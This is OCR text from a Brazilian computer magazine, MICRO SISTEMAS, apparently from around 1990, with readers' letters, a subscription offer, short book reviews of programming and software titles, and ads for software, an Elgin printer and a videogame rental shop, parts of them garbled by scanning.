e tipos de micros. 

No Brasil, a única revista que abre es¬ 
paço para TK é a MICRO SISTEMAS, e 
gostaria que ela continuasse dando este 
espaço necessário para que os usuários 
possam obter informações importantes. 

Fica aqui o meu recado e os meus vo¬ 
tos de que MICRO SISTEMAS continue 
sempre assim. 
Otávio Carvalho Jr. - R. Adelina Gio- 
metti França, 295 - Sumaré - SP -13170 

□ Venho dar os parabéns a revista MICRO 
SISTEMAS, uma revista bem montada e 
simples de ser entendida. Hoje em dia, há 
uma dificuldade enorme em se entender 
as outras revistas de informática pois são 
técnicas demais. 

Com MS, já consegui tirar muitas dú¬ 
vidas a respeito do maravilhoso mundo da 
informática. 
Antonio Carlos Nicolodi - R.Prudente 
de Moraes, 339 - Blumenau - SC 
-89030 

□ Venho parabenizar toda a equipe de 
MICRO SISTEMAS pela excelente perfor¬ 
mance e dinamismo que a revista apre¬ 
senta. 
Albino S. Viana - Ed. Santa Elizabeth, 
54/1503 - Campo Grande - Salvador 
-BA - 40000 

□ Quero parabenizar Roberto Alves Fer¬ 
nandes pela entrevista dada a Micro Sis¬ 
temas e à própria revista pela excelente 
matéria publicada na ‘Última Página1 do 
número 96. 

Além do lucro exagerado que as mul¬ 
tinacionais têm com a exploração do 
nosso país (em termos gerais) não fabri¬ 
cam produtos dignos do consumidor. 

Ao citar que as multinacionais fabri 
cantes de carros, motocicletas, produtos 
farmacêuticos, etc, não fabricam seus 
produtos com a qualidade que a popu¬ 
lação necessita, ele nos mostrou que não 
basta liberar a reserva do mercado de in¬ 
formática, mas sim criar uma política vol¬ 
tada a atender os conceitos básicos do 
que é ‘informática1, isto é, fabricar seus 
produtos de um modo que corresponda 
às necessidades básicas do usuário. 

Meus parabéns a Roberto Andrade Fer¬ 
nandes, e à MICRO SISTEMAS. 
Marzalém Alves de Lima - R. D.Pedro 
II, 89 - Monte Carmelo - MG - 38500 

□ Sou leitor de MS há 4 anos, e tenho 
notado que a revista melhorou ainda mais 
nos últimos tempos. Parabéns. 
Silvio Luiz Evangelista - Av.Dr.Janbeiro 
Costa, 881 - Ume - SP - 13615 

□ Venho parabenizar MICRO SISTEMAS 
por sua sempre renovada atualidade que, 
sem dúvida, faz dela um grande e per¬ 
manente sucesso. Cito como exemplo a 
oportuníssima matéria ‘Play it again, SanT, 
de MS 97. Mais uma vez, parabéns. 
Sérgio Rodrigues Salgueiro - R.Dona 
Eugênia, 1418 - Piracicaba - SP -13400 

□ Trago meu elogio à qualidade de MI¬ 
CRO SISTEMAS e de seus artigos, princi- 
pa Imente os para PC e compatíveis. 
Marco Antônio Pinto - R.Heliun, 240 
- Belo Horizonte - MG - 31130 
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Profissão: Data nasc.: 

Ass: Data: 

Estou enviando o cheque n° 

no valor de Cr54.6CO,00 nominal à ATI EDITORA SA, 

referente a uma assinatura anual (12 números) 

de MICRO SISTEMAS. 

ATI Análise, Teleprocessamento e Informática Editora S.A. 
Rua Washington Luiz, 9 - gr 402 - Rio de Janeiro - RJ - Cep: 20.230 

Veja só se não é uma vantagem e tanto: 
você paga 10 e leva 12 edições. Uma 
pechincha de dar água na boca. 

E não é só isso não. Atente para o fato 
de que MICRO SISTEMAS é a primeira 
revista brasileira de microcomputadores. São 
10 anos de liderança no mercado e muita 
história para contar. 

A nossa maior tradição continua sendo 
nosso carro chefe: nas páginas da MICRO 
SISTEMAS você encontra sempre uma 
análise do mercado de informática. Além, é 
claro, dos melhores programas e rotinas 
publicados em revistas. 

Não fique aí parado. Pegue a sua 
calculadora e faça as contas. Depois é só 
preencher o cupom ao lado e entrar para o 
time dos usuários bem informados. 



LIVROS 
USANDO HARVARD GRAPHICS 
Stephen Sagman 
Editora Campus Ltda 
380 páginas 

A obra indica como criar recursos vi¬ 
suais, melhorar uma apresentação co¬ 
mercial, fazer slides, transparências, fo¬ 
lhetos impressos, cartões de esboços, 
mapas, gráficos comerciais, etc. Além 
disso, mostra como criar quadros de 
texto, quadros de setores circulares, qu¬ 
adros de barra, quadros de coluna, qua¬ 
dros de linha, quadros de ponto, qua¬ 
dros de alta/baixa/fechamento e muitos 
outros tópicos que pretendem acabar 
com as apresentações cansativas, pro¬ 
duzindo em seu lugar algo inovador e 
atraente 

REENGENHARIA ME SOFTWARE 
Técnicas de Manutenção de 
Programas e Sistemas 
Girlsh Parikh 
Livros Técnicos e Científicos Editora 

Ltda 
464 páginas 

Este é um livro que oferece dicas e 
técnicas gerenciais de manutenção de 
software; descreve com precisão a apli¬ 
cação e o impacto das técnicas estrutu¬ 
radas (análise, projeto, programação e 
produtividade) na manutenção e desen¬ 
volvimento de software; fornece ins¬ 
truções práticas para os programadores 
de manutenção, além de uma listagem 
de checagem para efeitos colaterais 
numa mudança de manutenção. 

CLIPPER - Modelos de Programas 
Ernesto M. Haberkom / Laércio J. L. Co- 
sentino 
Editora Atlas S/A 
92 páginas 

Ao apresentar modelos de programas 
escritos em Clipper, este livro facilita a 
tarefa de desenvolver sistemas. Os mo¬ 
delos demonstrados servem de base 
para o sistema SIGA (Sistema Integrado 
de Gerência Automática) e a metodolo¬ 
gia empregada tem se mostrado bas¬ 

tante flexível para ser utilizada em ou¬ 
tras aplicações. 

O livro pressupõe que o leitor tenha 
o domínio da linguagem Clipper, e o 
ideal é fazer a leitura diante de um mi¬ 
cro. Nesse sentido, segue anexo um dis¬ 
quete que contém o conjunto dos qua¬ 
tro programas-fonte analisados, que 
servirão de esqueleto para o desenvolvi¬ 
mento dos próprios programas do usuá¬ 
ria Além disso, os programas apresenta¬ 
dos são fartamente comentados, 
permitindo que o leitor entenda detalha¬ 
damente o significado de cada co¬ 
mando. 

DOMINANDO O TURBO PASCAL 
Douglas Hergert 
Editora Ciência Moderna Ltda 
569 páginas 

Com seus 15 capítulos e 2 apêndi¬ 
ces, divididos em 3 partes, contendo 22 
programas-exemplo, esta obra é, sem 
dúvida, inédita em português. Cobrindo 
as versões 4.0 e 5.0, abrange todos 
aqueles que desejam aprender e aplicar 
os conhecimentos desta fantástica lin¬ 
guagem de programação. Constitui um 
guia prático e atualizado para as 
versões 4.0 e 5.0 do Turbo Pascal, escri¬ 
tos especialmente para aqueles usuá¬ 
rios que já estejam familiarizados com 
alguma linguagem de programação. 

Se o leitor está estudando o Turbo 
Pascal, esta obra lhe fornecerá a prática 
necessária para efetuar a maioria das 
implementações da Borland, tais como: 
o novo debugger na versão 5.0; como 
utilizar o sistema de menus; o uso efe¬ 
tivo do editor e o processo de desenvol¬ 
vimento de programas. Apresenta ainda, 
cobertura da manipulação de arquivos, 
incluindo a programação em arquivos de 
acesso sequèncial e radômico; uma in¬ 
trodução e visão geral das capacidades 
gráficas do Turtro Pascal 5.0; uma va¬ 
liosa coleção de unidades prontas para 
serem usadas, Incluindo rotinas para 
manipulação de strings, entrada do 
usuário e datas; um exame de recursão, 
incluindo um programa-exemplo do 
Quick Sort. 

PROGRAMAS PROFISSIONAIS 
PARA MSX E PC J LINHA MSX 

Contabilidade Profissional Completa em Dbase II Plus -100 BTN's 
Controle de Estoque Profissional em Dbase II Plus - 30 BTN's 
Super Conversor de Arquivos - Basic - Dbase - 20 BTN's 
Supershapes 1, 2 e 3: Para Graphos III e Page Maker - 14 BTN's cada 
E.V.A.: Editor de Vinhetas Animadas - 30 BTN's 
L.S.D.: Letters Special Designer - 20 BTNs 
Mala Direta Plus - 30 BTN's 

SOLICITE CATÁLOGO 

LINHA PC 

Agenda Profissional cl Mala Direta e Editor de Textos - 300 BTNs 
Contabilidade Profissional Completa - 300 BTN's 
Agenda Política d Mala Direta e Editor de Textos - 300 BTN's 

Programas de Domínio Público e Shareware: Solicite Catálogo 

Pedidos através de Cheque Nominal ou Vale Postal à: 

NEWDATA INFORMÁTICA E SISTEMAS LTDA. 
Rua José Benfica, 167 - CEP 79001 - Campo Grande-MS 
Caixa Postal 1049 - Telefone: (067)761-3425 

. 



My fair Lady 

A Lady 90 é o mais avançado conceito de 
moderna tecnologia que comprova, pelos 
seus recursos, design e eficiência, as 
constantes inovações desenvolvidas pela 
Elgin no mundo da informática 
Ela é rápida e silenciosa: imprime 
normalmente 120 caracteres por segundo 
mantendo o nível de ruído abaixo de 60 
decibéis. 
É também muito versátil. Pode ser 
acoplada a todos os micros, aos aparelhos 
de telex e tarifadores em geral. Para 
facilitar ainda mais as coisas, é dotada de 
chave de dupla voltagem. 
Além da Qualidade de Carta, ela dispõe de 
10 diferentes modos de impressão que 

podem ser combinados entre si em um 
mesmo texto ou linha. E tem mais. Graças 
à capacidade do buffer, enquanto a Lady 
90 estiver imprimindo, você continua 
usando simultaneamente o computador. 
Ela opera tanto com folhas soltas como com 
formulários contínuos e é a impressora mais 
compacta do mercado dispensando mesas 
especiais ou espaço extra. É também a 
mais leve, com apenas 3,5 quilos. 
Você tem todos estes e muitos outros 
moüvos para conhecer o mais novo 
lançamento da Elgin. 
Passe na revenda mais próxima, peça 
uma demonstração e descubra o porquê 
do título deste anúncio. 

ELGIN 

LADY 90 EU3IN 
ELETRCMCA 

ELGIN MÁQUINAS S.A. Rua Barão de Campinas. 305 - Cep 01201 - TeL 222-6999 - Telex 37805 - Fax 220-7644 - São Paulo - SP - Fábr. em Mogi das Cruzes - Est. de SP 



Dimensão é pioneira O 
na locação de videogames no ---xt 
Brasil. Desde o início, criou todas 
as condições para a divulgação ãk Wk 
do Megadrive no mercado e iã ■ ■II IIIIIbW 
no ano passado seus sócios | 1f I 
alugavam diversos cartuchos " w 
para equipamento. Seu pessoal de atendimento 
_j_ An ® a Diryiensao tem mais e altamente gabaritado 

SSSE- SF~~"” 
TEC-TOY pela iniciativa ousada Além dos aampc n 
ifj?n9°! 0 aparelho no país. . DimensãoTem a maTorvariedade 
s1?emãe^?,TarenlhOS d° de acessórios pam locação e sistema Megadrive, a Dimensão venda oferecendo ninHn 

SrrSlr” SxS“" 
VI eogame, em todos>os formatos. configurações de MSX e PC-XT/AT. 

LOIA 0- !/aK ' nUQ A?nta Vir9'nia- 107 - Tels.:217.7161 -296 4928 
LOM 3-' cJikn ' DUa vf°nSO CelSO’ 771 - Tels.: 884.8151 -884 8152 
LOJA 4: Scfntana ' XaV'er de Toledo’ 210/23 ' Tels': 36-3226'34.8391 
Rio de Janeiro: i 

Porto Alegre: i 

Breve uma perto de você! 

DIM1N3AO 


